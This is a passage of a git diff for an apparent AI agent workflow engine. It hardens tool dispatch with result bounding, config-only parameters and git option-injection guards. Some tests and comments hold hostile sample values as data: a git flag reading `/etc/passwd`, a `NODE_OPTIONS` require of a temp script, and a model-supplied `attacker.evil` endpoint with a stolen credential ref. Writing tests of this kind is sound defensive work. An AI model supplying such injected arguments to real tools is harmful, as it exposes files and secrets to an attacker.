orchestrator delegation mechanism) — no platform I/O, no full router selection logic this phase. -- **Result bounding + spill — the deferred tool-output-gate, owned here.** Distinct from the *event* `outputSummary` truncation (which [ADR-0036](0036-run-loop-substrate-event-bus-and-execution-host.md) places at the bus translation point), this bounds the **model-facing** result that re-enters the next `LlmRequest`. Three rules: it is **model-facing only** — `output_mapping` runs on the **full** result so workflow state holds the real value, never the preview; the full bytes are **never buffered in the engine** — a large result streams and, past the **byte/line** ceiling (no token count — that needs a provider tokenizer, breaking purity), the host's run-scoped **output store** spills it incrementally and returns a handle + a bounded preview, so the DoS surface actually closes (buffer-then-spill would not); and the store is its **own** `ToolHost` capability, so bounding does not depend on the optional `fs` (a `web_search` / MCP host with no `fs` still bounds), reclaimed at the run's terminal event. Concrete thresholds / marker shape are canonical in [built-in-tools.md](../reference/shared-core/built-in-tools.md). +- **Result bounding + spill — the deferred tool-output-gate, owned here.** Distinct from the *event* `outputSummary` truncation (which [ADR-0036](0036-run-loop-substrate-event-bus-and-execution-host.md) places at the bus translation point), this bounds the **model-facing** result that re-enters the next `LlmRequest`. Three rules: it is **model-facing only** — `output_mapping` runs on the **full** result so workflow state holds the real value, never the preview; the bound is by **byte/line** ceiling (no token count — that needs a provider tokenizer, breaking purity), past which the host's run-scoped **output store** spills the full result and the model gets a bounded preview + handle, closing the model-facing context-window DoS the pre-egress governor cannot see; and the store is its **own** `ToolHost` capability, so bounding does not depend on the optional `fs` (a `web_search` / MCP host with no `fs` still bounds), reclaimed at the run's terminal event. *v1.0 scope:* the bound is over the **in-memory** result a `dispatch` returns (the seam result fields are strings); the stream-and-spill-at-the-source guarantee (the engine never holding the full bytes) is a host-capability obligation landed with the first genuinely-streamed large source — a `maxBytes` pushed into the host read/egress options. A `Negative` consequence records this. Concrete thresholds / marker shape are canonical in [built-in-tools.md](../reference/shared-core/built-in-tools.md). - **Typed errors map to the closed `ErrorCode`.** A guardrail / grant denial is **`tool_denied`** (*fatal* — never retried); a host capability throw is `tool_failed` (retryable within the node budget); an absent capability is `internal`; an `AbortSignal`-origin failure routes to the **cancellation** path (`cancelled`), never `tool_failed`, preserving [ADR-0036](0036-run-loop-substrate-event-bus-and-execution-host.md)'s cancel precedence. The retryable/fatal split is owned by [error-handling.md](../standards/error-handling.md) (this ADR's change-set adds its `tool_denied` / `tool_failed` rows); the closed codes by [sse-event-schema.md](../reference/contracts/sse-event-schema.md#error-code-taxonomy). - **Binary / media results return a durable handle.** A tool whose result is binary or media (a `read_file` on a non-text file, a media `http_request` body) returns a **durable media handle** (`tool_result.media`, [ADR-0031](0031-llm-seam-shape-amendment-multimodal-io.md)) — **never** inline base64 in `tool_result.result`, which the ADR-0031 backstop rejects; this threads through the 1.AF media sub-spine and is gated until it lands. - **LLM-visible vs config-only parameters.** A `ToolDef` distinguishes model-supplied params (which alone enter the LLM-facing JSON Schema the `ToolNormalizer` / 1.E lowers) from **config-pinned** params merged at dispatch and **never** exposed to the model — smaller prompts, and a config value a model argument can never override. The field shape is canonical in [built-in-tools.md](../reference/shared-core/built-in-tools.md) / [tool-registry.md](../reference/shared-core/tool-registry.md). @@ -65,3 +65,4 @@ Considered alternatives: - `http_request` (and outbound `web_search` / `mcp_call`) ships gated until 1.AE lands the SSRF-hardened egress capability — a deliberate temporary limitation (correct-and-gated over fast-and-unsafe), tracked against the existing 1.AE deferred-task and its landing-gate CI test. - The `ToolHost` interface is pinned in principle + the Phase-1 capability slices here; its exhaustive method surface lives in [tool-registry.md](../reference/shared-core/tool-registry.md) and will grow as MCP (2.R) and media (1.AF) tools land — an intentional, additive evolution kept to one canonical home, not a reversal. - The result-bounding default thresholds are a judgment call (cost vs. truncating a legitimately large result); they are recorded as tunable in [built-in-tools.md](../reference/shared-core/built-in-tools.md) and revisited if real workflows hit them, consistent with the deferred-task's framing. +- v1.0 result bounding operates on the **in-memory** result a `dispatch` returns (the seam result fields are `string`), so the engine transiently holds a large host result before spilling — the model-facing context-window protection is delivered, but the engine-memory exposure is only fully closed when the host capabilities stream-and-truncate at the source (a `maxBytes` in the read/egress options), a follow-up landed with the first genuinely-streamed large source. Until then the residual is bounded by the FS scope tier + the host process budget, and egress is gated to 1.AE. diff --git a/docs/reference/shared-core/built-in-tools.md b/docs/reference/shared-core/built-in-tools.md index 77fb42cb..f7629e49 100644 --- a/docs/reference/shared-core/built-in-tools.md +++ b/docs/reference/shared-core/built-in-tools.md @@ -25,8 +25,8 @@ A tool declaration in YAML has a `type` discriminator: | `run_command` | Spawn a shell command via the shell plugin. Streams stdout/stderr as events. | `{ exitCode, stdout, stderr, durationMs }` | **Exact-match allowlist required** — see below. Never runs unlisted commands. | | `http_request` | Outbound **HTTPS** (GET/POST/PUT/DELETE), custom headers, JSON body, streaming response. | response body / stream | **HTTPS-only**, exact-FQDN `allowedDomains` allowlist (empty/absent ⇒ disabled), private/loopback/link-local/metadata ranges blocked (SSRF) — see below. | | `web_search` | Web search via the configured provider (e.g. Brave Search / SearXNG). | `{ results: [{ title, url, snippet }] }` | Provider key in the secret store, not the workflow file. | -| `git_status` | Run `git status` / `git log` / `git diff` in the workspace. | structured JSON parsed from git output | Pre-approved in the default git allowlist. | -| `git_commit` | Stage files and create a commit with a message. | commit result | **Requires a `human_gate` approval** before executing in automated workflows. | +| `git_status` | Run `git status` / `git log` / `git diff` in the workspace (read-only). | the raw `git` process result | The model picks only the subcommand; any extra flags are **author-pinned via config**, not model-supplied (a model-controlled `--no-index`/`-p --all` would read arbitrary files / dump history). | +| `git_commit` | Create a commit with a message, optionally restricted to given pathspecs (does **not** `git add`/stage). | commit result | **Requires a `human_gate` approval** before executing in automated workflows; pathspecs are `--`-separated so a model cannot smuggle a git option. | | `read_clipboard` | Read current clipboard text. | `string` | Powers "process what I just copied" triggers. | | `notify` | Send a native desktop notification (title, body, optional action buttons). | `void` | Lets an agent request attention mid-run without blocking the run. | | `mcp_call` | Connect to a registered MCP server and invoke one of its tools by name. | the MCP tool result as JSON | Server resolved from config; see [mcp-integration.md](mcp-integration.md). | @@ -34,6 +34,8 @@ A tool declaration in YAML has a `type` discriminator: > **Mandatory guardrails (security tightenings — [ADR-0029](../../decisions/0029-tool-policy-hardening.md)):** `run_command` only executes commands that **exactly match** the workflow's `allowedCommands` allowlist (opt-in glob via `allowedCommandGlobs`; defined under `spec.tools.allowedCommands` — see [workflow-yaml-spec.md](../contracts/workflow-yaml-spec.md#tool-policy-spectools); empty or absent ⇒ disabled). `http_request` is **HTTPS-only**, matches `allowedDomains` by **exact FQDN** (empty/absent ⇒ disabled), and **blocks private/loopback/link-local/metadata IP ranges** — the same vetted SSRF primitive applied to provider base URLs and MCP server URLs ([security-review.md](../../standards/security-review.md)). And `git_commit` is gated behind human approval in automated workflows. All are enforced by the engine, not by convention. `run_command` is the **only** sandboxed shell-exec built-in — there is no separate `run_javascript` tool (sandboxed JS evaluation is the engine's job for `condition`/`transform` expressions, not a callable tool). +> **Return shapes.** The *Returns* column is the **logical** shape. Until a provider-specific normalizer lands (the egress tools at 1.AE), `http_request` / `web_search` / `mcp_call` / `git_status` dispatch the **raw host response** (`EgressResponse` / the MCP tool result / the `git` `ProcessResult`); a downstream `transform` node shapes it. The file tools (`read_file` / `write_file` / `list_directory`) and `run_command` already return the documented shape. + ## Tool input/output mapping A `tool` node (direct tool execution without an LLM) and an agent's tool call both use `input_mapping` / `output_mapping` to wire workflow state into the tool and the result back out. Tool credentials are referenced by id from the secret store and are **never** inlined into the workflow JSON or echoed into event payloads (`agent:tool_call.toolInput` is sanitized; see [../contracts/sse-event-schema.md](../contracts/sse-event-schema.md)). @@ -44,7 +46,7 @@ A built-in tool's parameters split into two tiers. **LLM-visible** parameters fo ## Tool result bounding -The result a tool hands **back to the model** (which re-enters the next request) is size-bounded — distinct from the `agent:tool_result.outputSummary` *event* field, which is truncated separately for display ([sse-event-schema.md](../contracts/sse-event-schema.md)). The bound is **model-facing only**: `output_mapping` writes the **full** result into workflow state, so a downstream node still gets the real value; only the model-facing copy is replaced by a **bounded preview**, an explicit **truncation marker**, and the **path** to the full output. The full bytes are **never buffered in the engine** — a large result streams and, past the ceiling, the host's run-scoped **output store** spills it incrementally (reclaimed at the run's terminal event), so the cost/DoS surface the pre-egress budget governor ([ADR-0028](../../decisions/0028-workflow-resource-governance.md)) cannot see — an oversized `read_file` / `http_request` / MCP result blows the *next* request's context window — actually closes. The output store is its own host capability, so bounding works even on a host with no filesystem (`web_search` / MCP). +The result a tool hands **back to the model** (which re-enters the next request) is size-bounded — distinct from the `agent:tool_result.outputSummary` *event* field, which is truncated separately for display ([sse-event-schema.md](../contracts/sse-event-schema.md)). The bound is **model-facing only**: `output_mapping` writes the **full** result into workflow state, so a downstream node still gets the real value; only the model-facing copy is replaced by a **bounded preview** (honoring **both** the byte and the line ceiling), an explicit **truncation marker**, and the **path** to the full output spilled to the host's run-scoped **output store** (reclaimed at the run's terminal event). This closes the model-facing context-window cost/DoS surface the pre-egress budget governor ([ADR-0028](../../decisions/0028-workflow-resource-governance.md)) cannot see — an oversized `read_file` / `http_request` / MCP result blows the *next* request's window. *v1.0 caveat:* the bound is over the **in-memory** result the dispatch returns; the stream-and-spill-at-the-source guarantee (the engine never holding the full bytes) is a **host-capability obligation** that lands with the first genuinely-streamed large source (see [tool-registry.md §Result bounding](tool-registry.md#result-bounding-and-spill-to-file)). The output store is its own host capability, so bounding works even on a host with no filesystem (`web_search` / MCP). | Knob | v1.0 default | Note | | --- | --- | --- | diff --git a/docs/reference/shared-core/tool-registry.md b/docs/reference/shared-core/tool-registry.md index e35ba425..eadd5719 100644 --- a/docs/reference/shared-core/tool-registry.md +++ b/docs/reference/shared-core/tool-registry.md @@ -48,6 +48,16 @@ interface ToolDef { readonly policy: ToolPolicyClass; + /** + * Where this tool's guardrail target lives in the effective args, so the registry enforces the + * allowlist generically: a `spawnsProcess` tool returns the resolved `command` string the + * `allowedCommands` allowlist matches; an `http` egress tool returns the `url`. Omitted ⇒ no target + * (the generic allowlist check is skipped — e.g. a pre-approved `git_status` or an `os`/delegate tool). + * SECURITY: a `spawnsProcess` / `egress:'http'` tool that omits this has its allowlist check silently + * skipped (fail-open) — supply it, or pin the model-controlled args as config-only. + */ + readonly policyTarget?: (args: Args) => PolicyTarget; // { command?: string; url?: string } + /** * Pure dispatcher: validated+merged effective args in, the FULL result out. Performs side effects * ONLY via `host`; never imports `node:*`/`fetch`. Threads `ctx.signal` (cooperative cancel). The @@ -146,7 +156,7 @@ host is touched once, in the middle. 4. **Enforce the guardrail policy on the EFFECTIVE args** (the resolved command / URL is now the real value): exact `allowedCommands` (+ opt-in `allowedCommandGlobs`, deny-all-empty); per egress kind (table below); `git_commit` refused unless `ctx.gateApproved`. A denial → `ToolPolicyError` → **before any host call**. 5. **Call the host capability** (the single side effect), threading `ctx.signal`. Absent capability → `ToolUnavailableError`; an `AbortSignal`-origin failure → the **cancellation** path (`cancelled`, never `tool_failed` — preserves ADR-0036 cancel precedence); any other host throw → `ToolExecutionError`. 6. **Apply `output_mapping` to the FULL result** → workflow state gets the real value, never the bounded preview. -7. **Bound the model-facing result** (§Result bounding and spill-to-file) from the (streamed) result via `ctx.limits` + the host `outputStore` — the full bytes are never buffered in the engine. +7. **Bound the model-facing result** (§Result bounding and spill-to-file) from the result via `ctx.limits` + the host `outputStore` — over the ceiling the model gets a preview + a spill handle, the full result still flows to `output_mapping`. 8. **Mark the result untrusted** (§Untrusted-data taint) and hand the structured `tool_call` / `tool_result` data + its taint/secret markers to the bus's single translation point ([ADR-0036](../../decisions/0036-run-loop-substrate-event-bus-and-execution-host.md)) for `agent:tool_call` / `agent:tool_result` emission. > **Loop-correctable vs terminal.** `UnknownToolError` and `ToolArgsInvalidError` are first returned to the agent loop (1.O) as a correctable `isError` `tool_result` so the model can fix its call; they escalate to a node `ErrorCode` only if the loop gives up. A `ToolPolicyError` is structurally fatal and never loop-retried. @@ -157,10 +167,14 @@ interface ToolDispatchContext { readonly grantedToolIds: ReadonlySet; // the node's narrowed grant (0029(b)); dispatch refused outside it readonly config: ToolNodeConfig; // resolved tool_config/agent_config block: configOnly VALUES + input/output_mapping (node-types.md) readonly toolPolicy: ToolPolicy; // resolved allowedCommands/-Globs/-Domains (@relavium/shared) - readonly fsScope: FsScopeTier; // sandboxed | project-scoped | full (built-in-tools.md) + readonly fsScope: FsScopeTier; // 'sandboxed' | 'project' | 'full' (the @relavium/shared source of truth) readonly gateApproved: boolean; // a human-gate decision is present for this dispatch (1.Q) - readonly invokeAgent: (nodeId: string, input: unknown) => Promise; // engine delegate - readonly limits: ToolResultLimits; // the result-bounding ceilings (built-in-tools.md) + // The effective-arg keys whose resolved value is secret-tainted (ADR-0029(c)); the registry rejects + // any present one from tool args (re-applying the parse-time taint gate on the effective set). 1.O/1.V + // produces this; absent ⇒ no taint check (no producer yet). + readonly secretArgKeys?: ReadonlySet; + readonly invokeAgent?: (nodeId: string, input: unknown) => Promise; // engine delegate (invoke_agent); absent ⇒ ToolUnavailableError + readonly limits?: ToolResultLimits; // the result-bounding ceilings; absent ⇒ DEFAULT_TOOL_RESULT_LIMITS readonly signal?: AbortSignalLike; } ``` @@ -185,7 +199,7 @@ The canonical guardrail home is [security-review.md §Sandbox-and-tool-policy](. | `mcp_call` (egress `mcp`) | configured MCP **server** URL (not `allowedDomains`); secrets injected host-side | `mcp` transport runs the same SSRF primitive (0029(d); 2.R) | | `git_commit` | refused unless `ctx.gateApproved` (human-gate, 1.Q) in an automated workflow | `process.spawn` | | node `tools:` narrowing | already parser-enforced (narrow-only, 0029(b)/[ADR-0023](../../decisions/0023-strict-authored-yaml-validation.md)) | — | -| secret args | `secret`-typed values reach only credential/header fields, rejected at parse from tool text (transitive taint, 0029(c)); re-checked on the effective set (step 3) | host attaches a resolved `credentialRef` inside its trust boundary | +| secret args | `secret`-typed values reach only credential/header fields, rejected at parse from tool text (transitive taint, 0029(c)); re-checked on the **top-level** effective-arg keys (step 3) — by contract the 1.O/1.V taint producer flattens a tainted *nested* path to a top-level deny before it reaches `secretArgKeys`; the actual secret never travels as an arg value (it is a host-resolved `credentialRef`) | host attaches a resolved `credentialRef` inside its trust boundary | | FS scope tier | tool flagged `fsScoped` | `fs.*` jails to the tier + rejects path traversal | ## Result bounding and spill-to-file @@ -195,7 +209,7 @@ distinct from the *event* `outputSummary`, which is truncated separately at the ([ADR-0036](../../decisions/0036-run-loop-substrate-event-bus-and-execution-host.md)). Three rules: - **Bounding is model-facing only.** `output_mapping` runs on the **full** result (step 6) so workflow state holds the real value; only the model-facing `tool_result` is replaced by a **bounded preview + an explicit truncation marker + the spill path** (step 7). -- **The full bytes are never buffered in the engine.** A potentially-large result is streamed; past the ceiling the **host `outputStore`** spills it (incrementally) to a run-scoped file and returns a handle — the engine holds only the preview window. This closes the DoS surface for real (buffer-then-spill would not). The output store is its **own** `ToolHost` capability, so bounding does not depend on the optional `fs` capability (a `web_search` / MCP host with no `fs` still bounds). +- **The full result is spilled to the host `outputStore`; the model gets a preview + handle.** *v1.0 caveat:* the bound is over the **in-memory** result the `dispatch` returns — the seam's `FileRead.content` / `EgressResponse.body` / `ProcessResult.stdout` are `string`, so the engine holds the full result transiently before spilling. The **stream-and-incrementally-spill-at-the-boundary** guarantee (the engine never holding the full bytes) is a **host-capability obligation** — push a `maxBytes` into `FsReadOpts` / `EgressRequest` so the host truncates at the source — landed with the first genuinely-streamed large source (the residual engine-memory exposure until then is bounded by the FS scope tier + the host process budget; egress is gated to 1.AE). The model-facing context-window protection (the stated purpose) holds today regardless. The output store is its **own** `ToolHost` capability, so bounding does not depend on the optional `fs` capability (a `web_search` / MCP host with no `fs` still bounds). - **Reclaimed at the terminal event.** Spilled output is run-scoped and swept when the run reaches a terminal event (the ADR-0036 terminal-state sweep), like other run-scoped artifacts. The ceiling is a **byte/line** bound (no token count — that needs a provider-specific tokenizer, which would break engine purity); concrete defaults and the marker shape are canonical in diff --git a/packages/core/src/tools/bounding.test.ts b/packages/core/src/tools/bounding.test.ts index 05bb03cc..4d026b1d 100644 --- a/packages/core/src/tools/bounding.test.ts +++ b/packages/core/src/tools/bounding.test.ts @@ -71,4 +71,46 @@ describe('boundForModel', () => { expect(bounded.truncated).toBe(false); expect(bounded.summary).toBe('[unserializable]'); }); + + it('enforces the LINE ceiling in the preview, not just the spill trigger (H4)', async () => { + const spill = vi.fn(() => Promise.resolve({ ref: 'spill://lines', byteLength: 1 })); + const text = Array.from({ length: 200 }, (_, i) => `line ${i}`).join('\n'); // small bytes, many lines + const bounded = await boundForModel(text, { maxBytes: 50_000, maxLines: 5 }, host({ outputStore: { spill } })); + expect(bounded.truncated).toBe(true); + // The model-facing preview must be line-bounded — NOT the full 200-line text returned verbatim. + const previewLines = String(bounded.value).split('\n').length; + expect(previewLines).toBeLessThan(200); + expect(String(bounded.value)).not.toContain('line 150'); + }); + + it('byte-bounds a multibyte preview without splitting a code point (L4)', async () => { + const text = '😀'.repeat(2000); // 4 bytes each → 8000 bytes + const bounded = await boundForModel(text, { maxBytes: 200, maxLines: 2000 }, host()); + expect(bounded.truncated).toBe(true); + // No lone surrogate: every UTF-16 unit in the preview pairs up (emoji stay whole). + const preview = String(bounded.value); + for (let i = 0; i < preview.length; i++) { + const code = preview.charCodeAt(i); + if (code >= 0xd800 && code <= 0xdbff) { + const next = preview.charCodeAt(i + 1); + expect(next >= 0xdc00 && next <= 0xdfff).toBe(true); + i++; + } else { + expect(code >= 0xdc00 && code <= 0xdfff).toBe(false); // never a lone low surrogate + } + } + }); + + it('degrades a non-abort spill failure to a preview-only result (tool already succeeded) (M2)', async () => { + const spill = vi.fn(() => Promise.reject(new Error('disk full'))); + const bounded = await boundForModel('z'.repeat(500), TINY, host({ outputStore: { spill } })); + expect(bounded.truncated).toBe(true); + expect(String(bounded.value)).toContain('spill failed'); + }); + + it('rethrows an abort that occurs during spill (cancel precedence) (M2)', async () => { + const signal = { aborted: true } as never; + const spill = vi.fn(() => Promise.reject(Object.assign(new Error('aborted'), { name: 'AbortError' }))); + await expect(boundForModel('z'.repeat(500), TINY, host({ outputStore: { spill } }), signal)).rejects.toThrow(/aborted/); + }); }); diff --git a/packages/core/src/tools/bounding.ts b/packages/core/src/tools/bounding.ts index c50cc9da..522513f8 100644 --- a/packages/core/src/tools/bounding.ts +++ b/packages/core/src/tools/bounding.ts @@ -75,19 +75,93 @@ function toText(result: unknown): string { } function makeSummary(text: string): string { - const oneLine = text.replace(/\s+/g, ' ').trim(); + // Cap the scanned input so the whitespace-collapse never runs over an oversized result (the summary + // is bounded to SUMMARY_MAX regardless). + const slice = text.length > SUMMARY_MAX * 8 ? text.slice(0, SUMMARY_MAX * 8) : text; + const oneLine = slice.replace(/\s+/g, ' ').trim(); return oneLine.length <= SUMMARY_MAX ? oneLine : `${oneLine.slice(0, SUMMARY_MAX)}…`; } +/** UTF-8 byte width of one code point. */ +function codePointBytes(cp: number): number { + if (cp < 0x80) { + return 1; + } + if (cp < 0x800) { + return 2; + } + if (cp < 0x10000) { + return 3; + } + return 4; +} + +/** Slice up to `maxBytes` UTF-8 bytes from the head (or, when `fromEnd`, the tail), never splitting a code point. */ +function sliceToBytes(text: string, maxBytes: number, fromEnd: boolean): string { + if (maxBytes <= 0) { + return ''; + } + let bytes = 0; + if (!fromEnd) { + let i = 0; + while (i < text.length) { + const cp = text.codePointAt(i); + if (cp === undefined) { + break; + } + const width = codePointBytes(cp); + if (bytes + width > maxBytes) { + break; + } + bytes += width; + i += cp > 0xffff ? 2 : 1; + } + return text.slice(0, i); + } + let i = text.length; + while (i > 0) { + let start = i - 1; + const unit = text.charCodeAt(start); + if (unit >= 0xdc00 && unit <= 0xdfff && start > 0) { + start -= 1; // a low surrogate — include its leading high surrogate + } + const cp = text.codePointAt(start); + if (cp === undefined) { + break; + } + const width = codePointBytes(cp); + if (bytes + width > maxBytes) { + break; + } + bytes += width; + i = start; + } + return text.slice(i); +} + +/** + * A bounded preview honoring BOTH the line ceiling and the byte ceiling. Over the line ceiling → a + * head+tail LINE window; otherwise (byte-only truncation) a head+tail of the whole text. Each part is + * then byte-bounded (code-point-safe) against the byte budget, so the preview never exceeds ~maxBytes + * and never emits a lone surrogate. + */ function makePreview(text: string, limits: ToolResultLimits): string { - // A char budget proxies the byte ceiling for the preview (the model only needs a readable window). - const budget = Math.max(0, limits.maxBytes); - if (text.length <= budget) { - return text; + let headSrc: string; + let tailSrc: string; + const lines = text.split('\n'); + if (lines.length > limits.maxLines) { + const headLines = Math.max(1, Math.floor(limits.maxLines * 0.7)); + const tailLines = Math.max(1, limits.maxLines - headLines); + headSrc = lines.slice(0, headLines).join('\n'); + tailSrc = lines.slice(lines.length - tailLines).join('\n'); + } else { + headSrc = text; + tailSrc = text; } - const head = text.slice(0, Math.floor(budget * 0.7)); - const tail = text.slice(text.length - Math.floor(budget * 0.3)); - return `${head}\n…\n${tail}`; + const byteBudget = Math.max(0, limits.maxBytes); + const head = sliceToBytes(headSrc, Math.floor(byteBudget * 0.7), false); + const tail = sliceToBytes(tailSrc, Math.floor(byteBudget * 0.3), true); + return tail === '' ? head : `${head}\n…\n${tail}`; } /** @@ -115,13 +189,24 @@ export async function boundForModel( } let ref: string | undefined; + let unavailableNote = 'no output store'; if (host.outputStore) { - const spilled = await host.outputStore.spill(text, limits, signal); - ref = spilled.ref; + try { + const spilled = await host.outputStore.spill(text, limits, signal); + ref = spilled.ref; + } catch (cause) { + // An abort DURING spill must surface on the cancellation path (ADR-0036 precedence); any other + // spill failure degrades to a preview-only result rather than failing a tool that already SUCCEEDED + // (re-running a non-idempotent tool to retry a spill would double its side effects). + if (signal?.aborted === true || (cause instanceof Error && cause.name === 'AbortError')) { + throw cause; + } + unavailableNote = 'spill failed'; + } } const marker = ref === undefined - ? `\n\n[… truncated: ${bytes} bytes / ${lines} lines; full output unavailable (no output store) …]` + ? `\n\n[… truncated: ${bytes} bytes / ${lines} lines; full output unavailable (${unavailableNote}) …]` : `\n\n[… truncated: ${bytes} bytes / ${lines} lines; full output at ${ref} …]`; return { value: makePreview(text, limits) + marker, truncated: true, summary }; } diff --git a/packages/core/src/tools/builtins.test.ts b/packages/core/src/tools/builtins.test.ts index f2df3116..0b2e9cf4 100644 --- a/packages/core/src/tools/builtins.test.ts +++ b/packages/core/src/tools/builtins.test.ts @@ -1,4 +1,4 @@ -import { describe, expect, it } from 'vitest'; +import { describe, expect, it, vi } from 'vitest'; import { BUILTIN_TOOLS, BUILTIN_TOOL_IDS } from './builtins.js'; import { ToolUnavailableError } from './errors.js'; @@ -147,3 +147,25 @@ describe('built-in arg validation', () => { expect(() => tool('mcp_call').parseArgs({ server: 's' })).toThrow(); }); }); + +describe('built-in git tool hardening', () => { + it('git_status exposes only the subcommand to the model; args is config-only (H2)', () => { + const props = (tool('git_status').llmVisibleParams['properties'] ?? {}) as Record; + expect(props).toHaveProperty('command'); + expect(props).not.toHaveProperty('args'); // a model cannot inject git flags + expect(tool('git_status').configOnlyParams).toContain('args'); + }); + + it('git_commit rejects a pathspec starting with "-" (option injection) (M1)', () => { + expect(() => tool('git_commit').parseArgs({ message: 'm', files: ['--amend'] })).toThrow(); + expect(() => tool('git_commit').parseArgs({ message: 'm', files: ['--no-verify'] })).toThrow(); + expect(() => tool('git_commit').parseArgs({ message: 'm', files: ['ok.ts'] })).not.toThrow(); + }); + + it('git_commit inserts a `--` separator before pathspecs (M1)', async () => { + const spawn = vi.fn(() => Promise.resolve({ exitCode: 0, stdout: '', stderr: '', durationMs: 1 })); + const target = tool('git_commit'); + await target.dispatch(target.parseArgs({ message: 'm', files: ['a.ts', 'b.ts'] }), { process: { spawn } }, ctx); + expect(spawn).toHaveBeenCalledWith('git', ['commit', '-m', 'm', '--', 'a.ts', 'b.ts'], {}, {}, undefined); + }); +}); diff --git a/packages/core/src/tools/builtins.ts b/packages/core/src/tools/builtins.ts index f4375b44..240666eb 100644 --- a/packages/core/src/tools/builtins.ts +++ b/packages/core/src/tools/builtins.ts @@ -210,19 +210,21 @@ const runCommandTool = defineBuiltin({ const gitStatusTool = defineBuiltin({ id: 'git_status', - description: 'Run git status / log / diff in the workspace (pre-approved git allowlist).', + description: 'Run git status / log / diff in the workspace; extra flags are author-pinned via config, not model-supplied.', + // SECURITY: `args` is CONFIG-ONLY, not model-facing. A model-supplied `git diff` flag set + // (e.g. `--no-index -- /etc/passwd`, `log -p --all`) would otherwise read arbitrary files / dump + // history, since this pre-approved tool has no allowedCommands gate. The model picks only the + // (safe, read-only) subcommand; any extra flags must be pinned by the trusted workflow author. args: z .object({ command: z.enum(['status', 'log', 'diff']).optional(), args: z.array(z.string()).optional() }) .strict(), llmVisibleParams: { type: 'object', - properties: { - command: { type: 'string', enum: ['status', 'log', 'diff'] }, - args: { type: 'array', items: { type: 'string' } }, - }, + properties: { command: { type: 'string', enum: ['status', 'log', 'diff'] } }, additionalProperties: false, }, - // Pre-approved: no policyTarget command, so the generic allowedCommands check is skipped. + configOnlyParams: ['args'], + // Pre-approved subcommands with no model-controlled args ⇒ no allowedCommands gate needed. policy: { fsScoped: false, spawnsProcess: true, requiresGateApproval: false }, dispatch: (args, host, ctx) => requireProcess(host, 'git_status').spawn( @@ -236,8 +238,17 @@ const gitStatusTool = defineBuiltin({ const gitCommitTool = defineBuiltin({ id: 'git_commit', - description: 'Stage files and create a commit — requires a human-gate approval in automated workflows.', - args: z.object({ message: z.string().min(1), files: z.array(z.string()).optional() }).strict(), + description: + 'Create a commit, optionally restricting it to the given pathspecs — requires a human-gate approval in automated workflows.', + args: z + .object({ + message: z.string().min(1), + // A pathspec must not start with `-`, so a model cannot smuggle a git OPTION (`--amend`, + // `--no-verify`, `--author=…`) through `files` past the human gate (the `--` separator below is + // the structural backstop; this refine gives a field-named parse error). + files: z.array(z.string().min(1).refine((f) => !f.startsWith('-'), { message: 'a pathspec must not start with "-"' })).optional(), + }) + .strict(), llmVisibleParams: { type: 'object', properties: { message: { type: 'string' }, files: { type: 'array', items: { type: 'string' } } }, @@ -246,9 +257,10 @@ const gitCommitTool = defineBuiltin({ }, policy: { fsScoped: false, spawnsProcess: true, requiresGateApproval: true }, dispatch: (args, host, ctx) => + // `--` terminates option parsing so every `files` entry is an operand (pathspec), never an option. requireProcess(host, 'git_commit').spawn( 'git', - ['commit', '-m', args.message, ...(args.files ?? [])], + ['commit', '-m', args.message, '--', ...(args.files ?? [])], {}, {}, ctx.signal, diff --git a/packages/core/src/tools/errors.ts b/packages/core/src/tools/errors.ts index 4260e745..a1033468 100644 --- a/packages/core/src/tools/errors.ts +++ b/packages/core/src/tools/errors.ts @@ -75,6 +75,7 @@ export class ToolPolicyError extends ToolDispatchError { } export type ToolPolicyDenyReason = | 'not_granted' // the id is registered but not in the node's grant (registered ≠ authorized) + | 'provider_executed' // a provider-executed tool_call the engine must not dispatch (content.ts; ADR-0030) | 'command_not_allowed' // the resolved command is not in allowedCommands / allowedCommandGlobs (or empty ⇒ deny-all) | 'domain_not_allowed' // the URL host is not in allowedDomains (or empty ⇒ deny-all) | 'insecure_url' // the URL is not HTTPS (or has credentials-in-URL) diff --git a/packages/core/src/tools/registry.test.ts b/packages/core/src/tools/registry.test.ts index 104abf15..e676810e 100644 --- a/packages/core/src/tools/registry.test.ts +++ b/packages/core/src/tools/registry.test.ts @@ -446,3 +446,146 @@ describe('ToolRegistry — policy parsing edge cases', () => { expect(out.output).toEqual({ missing: undefined }); }); }); + +/* --- round-2 hardening regressions (config-only override, proto, host-extract, cancel, taint) --- */ + +describe('ToolRegistry — config-only params cannot be model- or mapping-supplied (H1/M3)', () => { + it('drops a model-supplied config-only key when config does not pin it (run_command env/cwd)', async () => { + const spawn = vi.fn(() => Promise.resolve({ exitCode: 0, stdout: 'ok', stderr: '', durationMs: 1 })); + await createToolRegistry({ tools: BUILTIN_TOOLS, host: stubHost({ process: { spawn } }) }).dispatch( + call('run_command', { command: 'ls', cwd: '/evil', env: { NODE_OPTIONS: '--require /tmp/x.js' }, timeoutMs: 9_999_999 }), + ctx({ toolPolicy: { allowedCommands: ['ls'] } }), // config pins NONE of cwd/env/timeoutMs + ); + // env/cwd/timeoutMs come ONLY from config — a model-supplied value never reaches spawn. + expect(spawn).toHaveBeenCalledWith('ls', [], {}, { cwd: undefined, timeoutMs: undefined }, undefined); + }); + + it('does not let the model redirect web_search to its own endpoint (no secret-exfil)', async () => { + const fetch = vi.fn<(req: EgressRequest, signal?: AbortSignalLike) => Promise>(() => + Promise.resolve({ status: 200, headers: {}, body: '[]' }), + ); + await createToolRegistry({ tools: BUILTIN_TOOLS, host: stubHost({ egress: { fetch } }) }).dispatch( + // config pins the credentialRef but NOT the endpoint; the model tries to supply a malicious endpoint. + call('web_search', { query: 'q', endpoint: 'https://attacker.evil', credentialRef: 'STOLEN' }), + ctx({ config: { parameters: { credentialRef: 'real-key-ref' } } }), + ); + const req = fetch.mock.calls[0]?.[0]; + expect(req?.url).not.toContain('attacker.evil'); // model endpoint dropped → relative, host SSRF rejects it + expect(req?.credentialRef).toBe('real-key-ref'); // the model's 'STOLEN' override is dropped + }); + + it('drops a config-only key supplied via input_mapping too (M3)', async () => { + const spawn = vi.fn(() => Promise.resolve({ exitCode: 0, stdout: 'ok', stderr: '', durationMs: 1 })); + await createToolRegistry({ tools: BUILTIN_TOOLS, host: stubHost({ process: { spawn } }) }).dispatch( + call('run_command', { command: 'ls' }), + ctx({ config: { inputMapping: { cwd: '/from-state' } }, toolPolicy: { allowedCommands: ['ls'] } }), + ); + expect(spawn).toHaveBeenCalledWith('ls', [], {}, { cwd: undefined, timeoutMs: undefined }, undefined); + }); + + it('git_status drops a model-supplied args[] (flag-injection closed) (H2)', async () => { + const spawn = vi.fn(() 